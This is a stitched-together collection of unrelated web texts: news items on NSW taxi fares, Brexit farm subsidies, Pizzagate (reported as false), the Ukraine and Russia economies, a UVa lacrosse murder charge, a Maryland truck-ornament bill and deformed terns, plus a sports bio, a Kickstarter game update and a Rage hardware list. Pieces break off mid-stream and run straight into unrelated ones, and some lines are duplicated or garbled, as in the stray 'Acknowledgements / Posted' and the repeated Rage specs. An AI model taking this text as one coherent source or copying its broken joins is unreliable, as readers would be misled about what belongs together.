Marine invertebrates have developed an effective use of their innate immune system to defend against pathogenic attack by microorganisms. Marine invertebrate antimicrobial peptides are underdeveloped and offer the prospect for a scope of research on antimicrobial peptides.
The biological activity of an extract of marine organisms or insulated compounds could be evaluated in several ways. Due to inadequate quantity of the material normally available at the start and high cost of biological testing, it is difficult in any laboratory to study all combination of drug-animal interaction, to uncover the drug prospective of a material.
Acknowledgements
Posted
The New South Wales Opposition has uncovered details of thousands of dollars in taxi fares between Sydney and the Hunter the government has been forced to pay due to cancelled trains.
Labor has obtained documents under Freedom of Information detailing how much the Baird Government is paying to transport passengers left stranded due to late, cancelled or overcrowded trains.
The Opposition's Transport spokesman Ryan Park said since coming to office, the government has spent more than $188,000 on taxi fares.
He said $48,000 has been spent in the past year alone.
Mr Park said in one case it would have been cheaper to book a flight, with a taxi ride from Hornsby to East Maitland costing almost $1,300.
Other examples included a trip from Hamilton to Hornsby costing $862, a trip from Cardiff to Sydney Airport costing $724, and Maitland to Scone costing $502.
He said train cancellations across the rail network have jumped by 23 per cent in the last year.
"This is a ridiculous waste of money: close to $1000 a week on taxi fares because train cancellations are skyrocketing under the Baird Government."
"Year after year we see train cancellations skyrocket - and now we see the Government pouring almost $200,000 into taxi fares instead of rail maintenance.
"It's just obscene."
But a spokesman for the Transport Minister, Andrew Constance said it is disingenuous for Labor to call providing customer service a waste of money.
"The former Labor government spent more than $170,000 dollars on taxis for its customers during its last term in office," he said.
Farmers in the United Kingdom are hoping assurances they received during the Brexit debate about their generous subsidies will hold now the UK has voted to leave the European Union.
On average, Europe's Common Agricultural Policy ensures half of some farmers' annual income could come from subsidies, although the actual value depends on the Euro-Pound exchange rate.
Farmers are concerned a drop in the subsidy could see them become less competitive than their counterparts in Europe.
Belfast-based freelance agriculture reporter Chris McCullogh said the campaign for leaving the EU did give some assurances about the subsidies, but days after the referendum agriculture hasn't featured prominently in the national debate.
"Before the referendum, before the vote, farmers were being told by the leave campaign, 'don't worry, there will be a replacement, the money we're sending to Brussels will be in a pot and distributed to farmers, the National Health Service and education'.
"But since we've known the outcome on Friday, nothing has been announced, at the minute we're having a political meltdown, and we don't know who'll be in power tomorrow."
Almost a third of the UK's farmers are tenant farmers, and the Tenant Famers Association's CEO George Dunn, who voted to remain in the EU, said the industry needed a steady hand through the turbulent period ahead.
"We need to have wisdom and diplomacy, so we both have a successful from the EU, and to create the necessary structures to ensure our industry has the ability to continue to compete in a world market."
But Mr McCullogh said there might be some upside for farmers from leaving the EU, with the chance to strip back what many believe is excessive regulation and red tape imposed by EU bureaucrats.
"For example, you can't bury a dead animal on your property, you need to get a special permit and pay over £100 [$181] for someone to come and take away the cow.
"This one size fits all approach is what the farmers are concerned about, that it's not the same rules universally, and there's too much red tape, too much paperwork and too much hassle from Brussels."
Okugo, 25, has made 135 league appearances (111 starts) during a six-year career in MLS, recording five goals, seven assists and 10,075 minutes played since making his debut in 2010 with the Philadelphia Union as the sixth-overall pick in the 2010 MLS SuperDraft out of UCLA.
A native of Hayward, Calif., Okugo made 117 appearances (101 starts) with Philadelphia from 2010-2014, logging consecutive seasons with at least 30 starts in 2013 and 2014. After leading the Union in games played (32) and games started (31) during the 2014 season, Okugo joined Orlando City SC ahead of the team’s expansion season in 2015, appearing in 15 games (9 starts) before being acquired by Sporting Kansas City in July 2015.
At the international level, Okugo featured at the U-23, U-20, U-18 and U-17 levels for the U.S. Youth National Team. Okugo made three appearances with the U.S. U-23 Men’s National Team during CONCACAF Olympic qualifying in 2012, also earning caps with the U-20s at the 2009 CONCACAF Championships and recording consecutive starts in 2011 U-20 World Cup qualifying games against Suriname and Guatemala.
Transaction: Portland Timbers sign defender/midfielder Amobi Okugo on May 16, 2016.
Amobi Okugo
Position: Defender/midfielder
Pronunciation: Ah-MOE-bee Oh-COO-go
Height: 6-0
Weight: 175
Born: March 13, 1991, in Hayward, Calif.
Last Club: Sporting Kansas City
College: UCLA
Citizenship: United States
According to Israel's Channel 2 News, Adeeb Joudeh wrote:
It has come to our attention that Vice President Pence intends to make an official visit to the Church of the Holy Sepulcher, and asked me to receive him officially. I absolutely refuse to officially welcome the American Vice President Mr. Mike Pence at the Church of the Holy Sepulcher and I will not be physically in church during his visit. This is an expression of my condemnation of President Donald Trump’s recognition of Jerusalem as the capital of Israel.
According to Christian tradition, the Church of the Holy Sepulchre is where Jesus Christ was crucified, buried, and resurrected.
The Times of Israel reported that a church official downplayed Joudeh’s remarks, stating, “We didn’t receive any formal or informal request and if there is a request, there is a status quo procedure to respect involving the three communities. Anyway it is not up to one of the key keepers to decide anything about this kind of issue.”
In a tweet on Friday, Twitter said it has “implemented safeguards to prevent this from happening again.”
Update: We have implemented safeguards to prevent this from happening again. We won’t be able to share all details about our internal investigation or updates to our security measures, but we take this seriously and our teams are on it. https://t.co/8EfEzHvB7p — Twitter Government (@TwitterGov) November 3, 2017
The New York Times reported that this person wasn’t a full-time employee, but a contractor, which caused many people to wonder how one part-time worker could wield so much power over the account of one of the world’s leaders.
We reached out to Twitter and a spokesperson said, “we won’t have any further comment on this issue.”
While they need to give workers the flexibility to suspend the accounts of bots, shouldn’t at least a second person be required to sign off on the deactivation of a public figure?
Twitter has faced a lot of criticism in attempting to police its service. The platform is rife with bullying and verbal abuse and the social media company has had a difficult time walking the fine line between what it labels as “free speech” and making its business an inviting experience for everyone.
Trump’s Twitter account has been under scrutiny, not only because he’s the U.S. president, but because he uses it frequently. He’s tweeted more than 36,000 times.
[UPDATE: The New York Times reveals how the gunman reportedly told police that he entered the restaurant to “investigate” Pizzagate (the theory is explained below), which only adds to the bizarre nature of this story.]
Newsham was also quick to note that this restaurant was tied to fake news and conspiracy theories, which circulated earlier this year, about the Clinton campaign. He clarified, “We’re aware of that and right now we have nothing to tie it into those concerns that have been raised on social media.” The theories, collectively known as Pizzagate, resulted in social media attacks and death threats against the restaurant’s staff and their families.
The bizarre claims within Pizzagate accused Hillary Clinton and her campaign chief, John Podesta, of running a child sex ring through the restaurant. This theory was even spread by retired General Michael Flynn, who recently landed a national security advisor offer from Donald Trump. After restaurant owner James Alefantis began to receive insults, he googled the matter, only to be appalled at what he read:
When Mr. Alefantis discovered that his employees were getting similar abusive messages, he looked online to unravel the accusations. He found dozens of made-up articles about Mrs. Clinton kidnapping, molesting and trafficking children in the restaurant’s back rooms. The articles appeared on Facebook and on websites such as The New Nationalist and The Vigilant Citizen, with one headline blaring: “Pizzagate: How 4Chan Uncovered the Sick World of Washington’s Occult Elite.” None of it was true. While Mr. Alefantis has some prominent Democratic friends in Washington and was a supporter of Mrs. Clinton, he has never met her, does not sell or abuse children, and is not being investigated by law enforcement for any of these claims. He and his 40 employees had unwittingly become real people caught in the middle of a storm of fake news.
Alefantis had to contact the FBI, police, and Facebook to remove the articles with some success, but the damage was done. Employees continued to receive threats. The BBC points towards the story as an illustration of the ease with which fake news spreads. The outlet interviewed Alefantis, who pointed out how conspiracy theorists didn’t even bother to verify the accuracy of key details, including the allegation that the sex ring operated out of the building’s basement: “We don’t even have a basement.”
Regardless of accuracy, the alt-right (which is the label that white nationalists and neo-Nazis enjoy hiding behind) pushed these theories, which were also reportedly embraced by supporters of Turkish President Recep Tayyip Erdogan. These supporters accused those who wouldn’t criticize this fake sex ring as hypocritical (after people called out a real child abuse scandal at a foundation linked to the Turkish government), and the intricacies are bonkers:
All Turkish pro-government papers, including mainstream publications … ran similar stories about the PizzaGate, using the very same images and claims from a (now banned) subreddit to convince their readers on how serious and deep-rooted the scandal was. Columnists penned articles that the PizzaGate is a part of the globalist conspiracy against Turkey, and one article even remarked that the “Teenage” in pizza-eating Teenage Mutant Ninja Turtles now makes sense as a pedophilia reference after PizzaGate.
The Daily Dot also points out how a fake viral video claimed to show the restaurant “delivering children to politicians and business people.” All of this was fake, of course. And Sunday’s incident doesn’t appear to be related at all, but it’s simply one more terrifying event plaguing the employees of Comet Ping Pong restaurant.
A new Gallup Poll found Monday that 60 percent of Jewish Americans said they approve of the way Obama is handling his job, a figure that's relatively consistent with the high level of support he's enjoyed from that bloc this year.
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Political events in Ukraine and diplomatic tensions with Russia are filling the headlines this week, but behind these recent developments is a story of persistent economic weakness. Although a change of government in Kiev may eventually bring needed reforms, in the short run it can only worsen the economic situation. Bloomberg reports that Ukraine’s interim president, Oleksandr Turchynov, has said that the country’s economy is “spinning out of control” and has entered a “pre-default situation.” All this raises the question of whether economic collapse in the Ukraine will drag the already faltering Russian economy down with it.
Let’s look at some data. The first chart below shows annual growth rates of real GDP for the two countries, including IMF preliminary data for 2013 and forecasts, made before the latest crisis, for 2014. As we see, both countries prospered in the early and mid-2000s but suffered sharp recessions during the global financial crisis. Neither has managed to return to its previous growth rate. In the past two years, growth has slowed further. The IMF thinks final data for both countries will show slight positive growth for 2013, but some other sources suggest that both are in or close to actual recession. Before the latest events, the IMF was moderately optimistic about recovery in 2014, but that hope seems less likely now.
Energy is a big part of the nexus between Russia and Ukraine. Russia is the world’s largest exporter of oil and natural gas. Ukraine is one of the world’s most energy-dependent economies, and one of the least energy efficient. Data from the World Resources Institute show that Ukraine uses 3.5 times more energy per dollar of GDP than Germany, 2.5 times more than the United States, and about 10 percent more than its also inefficient neighbor to the north.
As a result, both countries are highly sensitive to movements in world oil prices, but in opposite directions. Higher prices boost the Russian economy but weaken that of Ukraine, and vice versa. As the next chart shows, energy prices have trended moderately downward over the past two years.
Unfortunately for Ukraine, the prices it pays for Russian energy are influenced as much by politics as by economics. A lose-lose scenario could develop if a continued downtrend in prices placed a drag on the Russian economy, while Russia, displeased by political events in Ukraine, failed to pass along lower world prices to its neighbor. The prices Ukraine pays could rise sharply if Russia were to cancel a concessionary gas deal it recently concluded with now-ousted Ukrainian President Viktor Yanukovych.
Another complicating factor is the weak budgetary position of both countries, shown in the next chart. Ukraine’s budget has been in the red as long as anyone can remember, but Russia’s federal coffers used to overflow. The combination of high oil prices, rapid growth, and plenty of money to spend explain a big part of Vladimir Putin’s political popularity in the early 2000s. In the last couple of years, however, Russia’s budget has come under strain. The budgetary effect of stagnant global oil prices has been compounded by a steady rise in the cost of developing new reserves off shore and on land in remote Arctic regions. Bloomberg estimates that the country needs a Brent crude price of $118 per barrel to balance its budget, but Brent has not hit that level for a couple of years now.
The geostrategic upshot is that Russia could suffer whichever way political events in the Ukraine turn out. If a pro-Russian regime were to return to power, Putin would almost certainly have to pour in cash to prop it up. On the other hand, if a pro-Western government takes hold, Putin could put it under an energy squeeze and tighten controls on Ukrainian imports, as it already did for a time last fall. Neither scenario would do the Russian economy any good. Compete chaos in Ukraine—competing governments in the East and West, or, heaven forbid, military intervention–would be even more harmful to the Russian economy.
Recent trends in currency markets reflect the pessimistic short-term outlook. Both the Russian ruble and the Ukrainian hryvnia have recently reached new lows, as shown in our final chart. Ukraine’s central bank was forced to float the hryvnia last week, explaining that currency’s sharp plunge, but the ruble has followed it down despite the efforts of the Russian central bank.
Currency markets, of course, are highly sensitive to short-term developments. Over the longer term, Ukraine’s prospects look brighter. If political stability returns under a pro-Western government, Ukraine could quickly enter into a broad agreement with the European Union. Such a pact was negotiated and ready to sign last fall, before Yanukovych backed out, touching off the current political crisis.
In the weeks following Yanukovych’s about face, the EU refused to get into a bidding war with Russia over who would offer the best aid package. However, it seems likely that a new pro-EU government in Kiev would be able to strike an aid deal. U.S. Treasury Secretary Jacob J. Lew is reported to have said that the U.S. was prepared to help Ukraine return to a path of democracy, stability and growth. U.K. Chancellor of the Exchequer George Osborne has agreed. “We are here ready to help just as soon as there is someone at the end of the telephone,” Osborne said in an interview Saturday in Sydney. “We should be there with a checkbook to help the people of Ukraine rebuild their country.”
You couldn't just aim your digital camera at the sky and get results like this. Thierry Legault, who is known for his amazing astronomical imagery, uses specialized solar filters to capture the images.
When the shuttle docked with the ISS on July 15, the combined crews set a new record for space-vehicle occupancy. The 13 people aboard the station are the most that have been aboard the same vehicle in space. The astronauts have installed a "porch" on the space station for space-exposed experiments. The new addition effectively completes the Japanese Kibo laboratory.
Astronauts are deploying a variety of other scientific installations, too. One public-interest project, the Tomatosphere II, exposes millions of tomato seeds to space, which are then returned to Earth and distributed to classrooms across North America.
If you like Legault's photograph, make sure to check out his other work, including his shot of the space shuttle Atlantis solo-transiting the sun.
Images: Thierry Legault Via OnOrbit
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I think it’s safe to say that, as things currently stand, we are looking at a pretty big uphill battle over the next week and a bit. It’s absolutely not impossible, and we’ve definitely not given up hope, but at the same time it’s pretty clear that our primary issue remains exposure. Our conversion rate is actually really solid, so we just need more eyeballs on the campaign.
We’ve been receiving a lot of feedback lately, both through comments and PM, where folks have expressed their concerns and given advice with regards to various aspects of the campaign. In general we just wanted to say thank you. It’s clear how passionate some folks are about seeing this project become a reality, and that’s always wonderful to see. Know that we really are doing everything in our power, and will continue to do so!
Now, onto today’s game update...
Characters: The Tower’s Lifeblood
Like Consortium before it, the Tower is a story-driven experience, and you can’t have a story-driven experience without a multitude of characters. We pride ourselves on creating fully fleshed out characters with developed backstories, motivations, and long-term archs. Every character is fleshed out enough so that when you speak to them, they’ll immediately feel fresh and different because their dialogue is pulled from a breadth of information about their life and personality: likes/dislikes (and why), family, childhood, schooling, medical history, quirks, etc.
The Tower is actually thus driven by characters. As Bishop Six, you will constantly be pushed and pulled from all sides by characters with a wide range of motives and agendas. Due to the meta narrative present, there is no definitive “truth” to start off with, and so you’ll have to find your own truth through dealing with all of these people. Or not… as with Consortium before it, you can play the entire game without speaking a single word.
Discover their motives to the best of your ability, but always remember that no character can ever truly be trusted within the Consortium universe. Not even Bishop Six himself, the man we control.
Returning Consortium Characters
It probably comes as no surprise that we have a lot of love for our characters, and more importantly the actors who play them. Quite frankly we were lucky to find the talent we did with the budget we had for Consortium. Greg and I personally developed, cast, and studio directed every actor/character for Consortium, and will be doing the same for The Tower. We’ve always said that the V.O. process from casting to recording was the most rewarding experience coming out of Consortium production, and so you better believe that we’re pumped to get back in there for round two!
All of the (surviving) characters from Consortium will be present in The Tower. You can either begin the game with a fresh start (The Tower can start as if you never spoke a word to anyone in Consortium Game One), or continue to develop friendships and rivalries at your leisure.
For very detailed, individual bios of all Zenlil officers (including all of the Pawns) from Consortium Game One, and an introduction written by the Consortium King: CLICK HERE
Let’s take a brief look at Zenlil’s operational officers below, along with a video of them taken from Game One. These four characters are the most present of all characters throughout both Consortium and The Tower.
A shot of Taryn Fisher from CONSORTIUM Game One.
Taryn Fisher Codename: Knight 15 V.O. by: Michelle Livingstone
Willing to do anything for her people, Taryn Fisher believes the best course of action is always by the book. Dedicated to the Consortium mandate, she is steel-willed when necessary, but to her crew she’s seen as a fair, kind-hearted, and respectable commanding officer.
Unlike other Knight’s within the Consortium, Taryn does her best to encourage a “family” environment with her crew. This includes allowing everyone to speak freely at all times, regardless of rank. Her motto would probably be, “If something bothers you, speak up!”
A monumentally tragic event in Taryn’s past saw to the death of her father, four brothers, husband, and two children. She miraculously persevered, and even learned to draw strength from their deaths as she eventually chose to honour them through her work. Because of this, she found her way to the Consortium: a 24/7 job where all she does is make a difference in the world.
A shot of Alannah Boyle from CONSORTIUM Game One.
Alannah Boyle Codename: Rook 25 V.O. by: Karin Inghammar
Alannah is a conspiracy theorist at heart, and is always the first to question what’s going on. Her strong will and determination often get her into trouble with her colleagues, who would say that she isn’t often willing to compromise. She is always right, and would argue that to the bitter end. Stubborn, though extremely intelligent and well versed in all things weapons and combat, Alannah makes for an interesting element of the Zenlil team.
Alannah’s heavily pacifist ways led her to the Consortium where she helped to develop the Consortium Energy Assault Rifle (C.E.A.R.), and became a strong advocate for Bishops to only use non-lethal force in the field. She will be the first to tell you to stop killing unnecessarily.
A shot of Keiran Boyle from CONSORTIUM Game One.
Keiran Boyle Codename: Rook 13 V.O. by: Michael Cound
On paper, Keiran Boyle is overqualified for his position. He has more degrees in medical science than his young age should allow for – but for those who know him best, meeting him paints a very different picture. To actually meet Keiran Boyle is what a normally polite person might call a “unique experience,” and what an educated jerk might call a “confusing maze of social inadequacies.”
His quirks range from an extreme lack of social skills, to an obsession for “late twentieth century 2d media” - or, movies and television shows from “our time.” He believes himself to have no emotions, and so comes across as very robotic and cold, but at the same time inadvertently amusing due to the unusual nature of his speech.
Make no mistake about it, though... Keiran is one of the most talented medical specialists the Consortium have at their disposal. He is also a well-regarded and highly respected member of the medical community, having been a principal in the multi-year development of the world-renowned X-Gone Procedure. It’s then no surprise that Keiran came highly recommended by not only his sister, Alannah, but also by Dr. David Schelter and every past employer of his. He values hard work more than anything else, and while he may not be the most outgoing man alive, he gets the job done and gets it done well.
A shot of Wade Harris from CONSORTIUM Game One.
Wade Harris Codename: Rook 9 V.O. by: Brian Dobson
Wade Harris could easily be described as the “joker” of the crew. Very rarely will you find him acting entirely serious, Wade uses humour to lighten intense situations… or even just to amuse himself where possible. He is charming, quick-witted, dedicated to his crew above all else, and could be considered the best pilot the Consortium has.
At times Wade finds himself a “mediator” whenever Rook 25 and Knight 15 butt heads, which is more often than they should, and acts as the glue that holds the team together. That said, he is equally as blunt as Rook 25, and if he doesn’t like you then he’ll let you know in some especially colourful way.
His unique talents for always seeing the bright side of any situation, and for being nearly unshakeable, are what make him a valuable member of the Zenlil crew.
New Main Characters In The Tower
There will also of course be a whole cast of new characters found throughout the Churchill Tower. Many of the new characters we have planned we’d like to keep spoiler-free, but here are some of the heavy hitters you’ll encounter along the way:
Early concept of Malcolm Thomas
Malcolm Thomas
Those of you who played Consortium will remember Thomas as the Global Newswire reporter only spoken about in the peripheral or found within the Information Console. He is known to be very anti-Consortium in his views, and is a devout Guardian Church member. All we know going into the Tower is that he was specifically requested by the occupying terrorists to be allowed into the Churchill Tower to report on events as they unfold.
He was allowed into the Tower and is now reporting live from within the center of the hostage situation taking place within the Churchill Tower Power Facility. While we cannot go into too much detail, Thomas will play a significant role in the events of the Tower.
Early concept of Darsie Lensworth and a shot of James Lensworth from CONSORTIUM Game One.
Darsie & James Lensworth
Although not a main character from Consortium, the end of the game did introduce a man named James Lensworth (Rook 3). He is a political officer for the Consortium, and is currently situated on the international space station, “Zeus,” where a contingent of Consortium officers are housed for the purpose of handling most orbital concerns requiring Consortium attention. He is an ex-American military officer turned Consortium political officer. A hardened, though unassuming man extremely well versed in the world of politics, James chose his Consortium “desk job” for the sake of his daughter, Darsie, after the death of her mother many years prior to the events of the game.
At the end of Consortium (and what will be the start of the Tower) we discovered that Darsie Lensworth is an employee of the Churchill Tower Power Facility. It is known that Darsie is being held by the supposed terrorists, though her actual status is unknown since all direct contact with the facility was lost.
Darsie Lensworth, and her role within the facility, are an integral part of the story. Her father being a part of your team will also create an interesting dynamic as you work toward finding her and discovering the truth behind her and her role within the facility.
Early concept of Saad Bin Laden
Saad Bin Laden
I’ll start by saying please keep in mind that their world is *very different* from our own, and so their history is not necessarily the same as ours.
This one is a little tricky to describe without spoiling things, so let’s stick to the facts from Consortium. A man claiming to be Saad Bin Laden, and a contingent of Al Qaeda soldiers, are responsible for the hostage situation at the Churchill Tower. As far as their world is concerned, Al Qaeda was disbanded, and Bin Laden was killed during an American raid many, many years prior.
These men are also supposedly only armed with ancient AK-47 rifles and very little armour and tech… yet they somehow managed to make their way into the most heavily guarded and surveilled areas in all of London (for all intent and purpose a “police state”), and into an extremely modern and heavily fortified Churchill Tower. Were they helped by someone on the inside? Is there a larger conspiracy at play? Or did they simply get lucky?
To the world at large, the entire situation is completely and utterly crazy, and so it’s no surprise that it’s making headlines EVERYWHERE. Literally billions of people are glued to their VR-sets in rapt attention to discover just what the hell is going on.
The man claiming to be Bin Laden is of the belief that the Churchill Tower Power Facility is actually a power station capable of arming a secretly constructed orbital weapons facility. He believes the weapons facility’s purpose is to “strike down Middle Eastern enemies of the West.” His goal, or so he claims, is to prove this to the world by activating and using the weapon. His only request so far has been to ensure that famously known anti-Consortium reporter Malcolm Thomas be let into the Tower in order to report on their findings.
Early concept of London Police Chief D. Robinson
Police Chief D. Robinson
The London police have the Churchill Tower completely surrounded, and with every entrance covered. They’ve been told to hold their positions until the Consortium arrive. Chief Robinson, however, believes the situation is a simple one that should be handled locally.
Throughout the game you will be in direct contact with Chief Robinson over the Conversation Manager component of your Consortium Mind Communicator. You will have influence over how he handles the situation, what he and his officers do, and ultimately what role the police play in the story’s events.
For example, imagine clearing an area around a particular entrance and then giving him orders to send a contingent of his men in to secure a section you need held for strategic purposes. Or pissing him off to the point where he decides to have his men storm the building on their own. Or go even further by rebelling to the point of turning the London police against you, becoming yet another contingent of combatants you need to watch out for.
Early Concept of Dr. David Schelter
Dr. David Schelter
Dr. David Schelter is the C.E.O. of Worldview Industries, the creator of the A.I. tech that is the Consortium King, and the Consortium’s founder. Though only so-far spoken about through Consortium’s Information Console, Schelter is an extremely well known multi-billionaire inventor and humanitarian.
The problem is that he disappeared from the face of the Earth several years before the events of the game. Poof, gone. His disappearance was well documented and there are many theories as to what happened to him (rival corporation taking out their competition? Faked death? Ran off with a secret girlfriend to live a “normal life”?)... none proven. Beyond that we cannot say much (spoilers!) except that his influence will play an important role within The Tower’s storyline.
Where has he gone, and what does he have to do with the events unfolding at the Churchill Tower?
Shout outs!
There are two other projects on Kickstarter that we would like to draw your attention towards.
Ghost Theory
Do you enjoy haunted houses? Dreadlocks, creators of the cool sci-fi game Dex are back to Kickstarter with an intriguing new game, Ghost Theory. In their words: "Investigate authentic haunted grounds in an immersive, atmospheric ghost hunting adventure!". It looks and sounds like a very original concept, worth checking out and they only have 8 days to go (same boat as us).
Nebula: Sole Survivor
1809 – Nelson’s Pillar, O’Connell St., Dublin
Architect: William Wilkins
Predating London’s Nelson Column by almost 30 years, Nelson’s Pillar was a 36.8m tall column with a 3.9m tall statue by Thomas Kirk in Portland Stone at the top. At construction it was the tallest Doric column in the world, contained a viewing gallery at the top, accessed via 168 spiral steps to a platform which gave a bird’s-eye view of the city. The diameter of the column was 13 ft at the bottom and 10 ft at the top.
As early as 1874, there was discussion about removing it to St Stephen’s green or other large open space as, “Such an immense mass of masonry should be placed in the centre of a large space such as Stephen’s Green or the Phoenix Park, to either of which places I hope soon to see it removed; it cuts in two what would otherwise be a street of noble proportions…”
By Washington Post editors
UPDATE:
A University of Virginia men's lacrosse player from Chevy Chase and the Landon School has been charged with first-degree murder in the death of a women's lacrosse player at the school, Crime Scene reports.
George Huguely. (Linda Davidson/The Washington Post)
George Huguely, 22, is charged with killing Yeardley Love, also 22, of Cockeysville, Md., police said. Both are seniors.
Yeardley Love. (Courtesy of Virginiasports.com)
Charlottesville Police Chief Tim Longo said officers responded to a call at about 2:15 Monday morning for a possible alcohol oversdose at Love's apartment but once there "the obvious physical trauma to her" led them to start a homicide investigation. He declined to say what the nature of the injuries were.
Longo said police have no other suspects in the case.
UVa. lacrosse player charged with murder
12:42 p.m.
A University of Virginia lacrosse player from Chevy Chase, Md. has been charged with first degree murder in the death of a fellow student and lacrosse player, The Daily Progress reports.
George Huguely, 22, has been charged in the death of Yeardley Love, also 22, of Cockeysville, Md.
Police have not determined a cause of death, but Love's body showed physical trauma.
Huguely and Love are both fourth-year students, Huguely played on the mens team; Love played on the women's team.
Huguely attended the Landon School in Bethesda, where he also played lacrosse. He was interviewed by the Post in 2006, shortly after allegations of sexual assault and racist behavior were made against members of Duke University's men's lacrosse team. Five of Duke's players that year had graduated from Landon.
All charges against Duke's team members were dropped.
"I sympathize for the team," Huguely said of the Duke players. "They've been scrutinized so hard and no one knows what has happened yet. In this country, you're supposed to be innocent until proven guilty. I think that's the way it should be."
Neither Robinson Bordley, the Landon School's lacrosse and football coach, nor Drew Johnson, the school's athletic director, were made available to comment, according to Post reporter Steve Yanda. A Landon communications officer said no one at the school would have any comment on Huguely until the criminal investigation had run its course.
Phone messages left at the respective residences of Marta Murphy and George Hughley III, Huguely's mother and father, were not immediately returned.
Tottenham Hotspur Supporters' Trust (THST) has hit out at the club's handling of season ticket exchanges, accusing Spurs of "stumbling from one bad decision to another" throughout the summer.
The club on Tuesday announced their resale plans for the upcoming season at Wembley, weeks after the 19-game season tickets sold out.
Fans who have purchased season tickets may sell individual match tickets using the new in-house exchange system following the club cutting ties with StubHub.
Individual match tickets will only be put up for sale if Wembley's 90,000-seat capacity sells out, while a successful purchase of these tickets from the opposite end comes with a £7.50 "booking and administration fee per ticket."
THST strongly objects to finalised plans, and the "belated" confirmation, and have released a lengthy statement in response.
A statement reads: "Such is the impact of TV that over half of Spurs' fixtures are rescheduled for broadcast across any given season. That's before games are displaced due to European commitments.
"This means Season Ticket holders are essentially buying 19 games 'blind'. There will be occasions when real life gets in the way of football and matches will be missed.
"The resale platform should enable fans who can’t make a match give others the opportunity to attend in their place while recouping their money. It's a simple premise.
It continues: "We believe the ticket exchange announcement is the latest in a series of mistakes made by the Club this summer; mistakes that will have a negative impact on supporters and the Club itself.
"Every action has a consequence, and the Club has seemingly stumbled from one bad decision to another, increasingly boxing itself in."
Readers may recall Alonso’s name cited in our coverage of the rumored shake-ups at Marvel Studios; she would reportedly be among the few responsible for “key creative decisions,” alongside Kevin Feige and Louis D’Esposito. At the very least, Alonso’s recent promotion seems to suggest that her work and input is considered valuable. And just to reiterate what that input might be — when asked about a timeline for female-fronted superhero films, Alonso said: “If it were up to me, it would be today.”
(via Variety, image via Marvel Database)
—Please make note of The Mary Sue’s general comment policy.—
This is a choreographed sequence that allowed these digital devices to piggyback on an analog telephone network. "A phone line carries only the small range of frequencies in which most human conversation takes place: about 300 to 3,300 hertz," Glenn Fleishman explained in the Times back in 1998. "The modem works within these limits in creating sound waves to carry data across phone lines." What you're hearing is the way 20th century technology tunneled through a 19th century network; what you're hearing is how a network designed to send the noises made by your muscles as they pushed around air came to transmit anything, or the almost-anything that can be coded in 0s and 1s.
The frequencies of the modem's sounds represent parameters for further communication. In the early going, for example, the modem that's been dialed up will play a note that says, "I can go this fast." As a wonderful old 1997 website explained, "Depending on the speed the modem is trying to talk at, this tone will have a different pitch."
As the General Assembly debates global warming and the death penalty, Myers (R-Washington) has something else on his mind: the outsized plastic testicles that truckers dangle from the trailer hitches of their pickups.
To some truckers, they are manly expressions of rural chic. But Myers, who says his Western Maryland district is brimming with giant fakes on the roadways, calls them vulgar and immoral -- and filed legislation this week to outlaw them.
"People are making a joke out of it," Myers said yesterday. "But I think it's a pretty serious problem. You have body parts hanging from the hitches of cars. We've crossed a line."
His bill would prohibit motorists from displaying anything resembling or depicting "anatomically correct" or "less than completely and opaquely covered" human or animal genitals, human buttocks or female breasts. The offense would carry a penalty.
A hunter could still throw a freshly killed and uncovered deer in the back of his pickup, though, because the deer's body parts would be real, Myers said.
Myers, 56, said he's trying to match the standards of Gov. Martin O'Malley (D), who has pledged to clean up the Chesapeake Bay. "We have a governor whose agenda is, 'Let's make us the best,' " the delegate said. "So let's clean up what our children are seeing on our roads."
Myers, a general contractor with four grown children, represents Washington and Alleghany counties in Maryland's most rural corner. He said he acted at the request of a constituent who was distressed by what he saw as he drove down a highway.
Since Myers submitted the bill Tuesday, it has been the brunt of jokes from radio and TV interviewers. "But my office has gotten 100 phone calls from grateful parents," he said.
Civil libertarians say the bill is misplaced. "The solution to speech we don't like is more speech," said Meredith Curtis of the Maryland American Civil Liberties Union. A sticker of the Venus de Milo statue would be illegal if the legislation passes, she said.
Myers's fellow lawmakers seemed bemused. "Hmmm. Is this what the framers had in mind?" Del. Tom Hucker (D-Montgomery) asked jokingly.
The truck ornament industry is not amused. "It's not a perverted sexual thing at all," said David Ham, founder of Your Nutz, a San Diego-based business that sells more than 200 kinds of fake testicles. "It's a sense of humor. This lawmaker is looking out for two or three old women in tennis shoes. He's got too much time on his hands."
Ham said he shipped about 100 orders last year to customers in Maryland and Virginia. He said those who support a ban would do well to recall that 50 years ago, many people in the nation lived on farms. "Did all the little donkeys and sheep walk around with their panties on so children wouldn't see their bodies?" he asked.
Biologists say they’re worried about wildlife after discovering deformed birds on Sanibel Island. It’s too early to tell, but these defects could indicate a bigger problem for the Gulf of Mexico.
While conducting routine research on Sanibel’s beach, biologist Audrey Albrecht with Sanibel-Captiva Conservation Foundation came across a flock of royal terns, and something her caught eye.
"I noticed one of them had what appeared to be a third bill or some kind of deformity and then I noticed another one also had it," said Albrecht.
She said the two had typical bills for royal terns – thick, orange and pointed, but they both also had an orange protrusion coming out from underneath the regular bill, curving upward. Albrecht only snapped a couple pictures of the birds, and that’s pretty much all the data on them right now.
Dr. Jerry Jackson is a retired sciences professor at Florida Gulf Coast University, and a renowned ornithologist. He said without more information, it’s hard to know why this is happening.
But the fact that there are two of these terns with the same malformation worries him because it suggests it’s not just an “oddball mutation.” He said something else might be going on.
"It’s something that we need to know because this could be an early warning signal that something is wrong," said Jackson. "We don’t know that something is wrong but it certainly looks, to me, like there could be."
Curious to know what kind of hardware you'll need to run Rage? id Software's post-apocalyptic shooter is set to be released on October 4 in North America, and the official hardware requirements are now out in the open. This will be the first game released using id's Tech 5 technology, and it should be very interesting to see how it performs out in the real world.
Considering id Software's history of setting new industry standards for visual quality with past titles like Doom 3 and Quake, this might be a game worth upgrading for. How do you stack up to the requirements?
Minimum
OS : Win XP SP3, Vista, Win 7
: Win XP SP3, Vista, Win 7 Processor : Intel Core 2 Duo or Equivalent AMD
: Intel Core 2 Duo or Equivalent AMD Memory : 2GB
: 2GB Hard Disk Space : 25GB
: 25GB Video Card: GeForce 8800, Radeon HD 4200
UPDATE: 09:24 – Transworld Surf has posted further details. According to their article, AI was at Dallas Texas when the complications occurred. The article says, “Andy was so sick he was unable to board his flight from Dallas to Kauai, got a hotel room, and was found there dead leaving behind a pregnant wife, family, and world full of friends and fans.” See the full article here.
UPDATE: 09:04 – Surfer Magazine is confirming the reports that Andy Irons passed away while traveling from Puerto Rico to his home in Hawaii. They say that, “the cause of death is unknown, although sources inside the family say that he passed away from Dengue fever…” More over here.
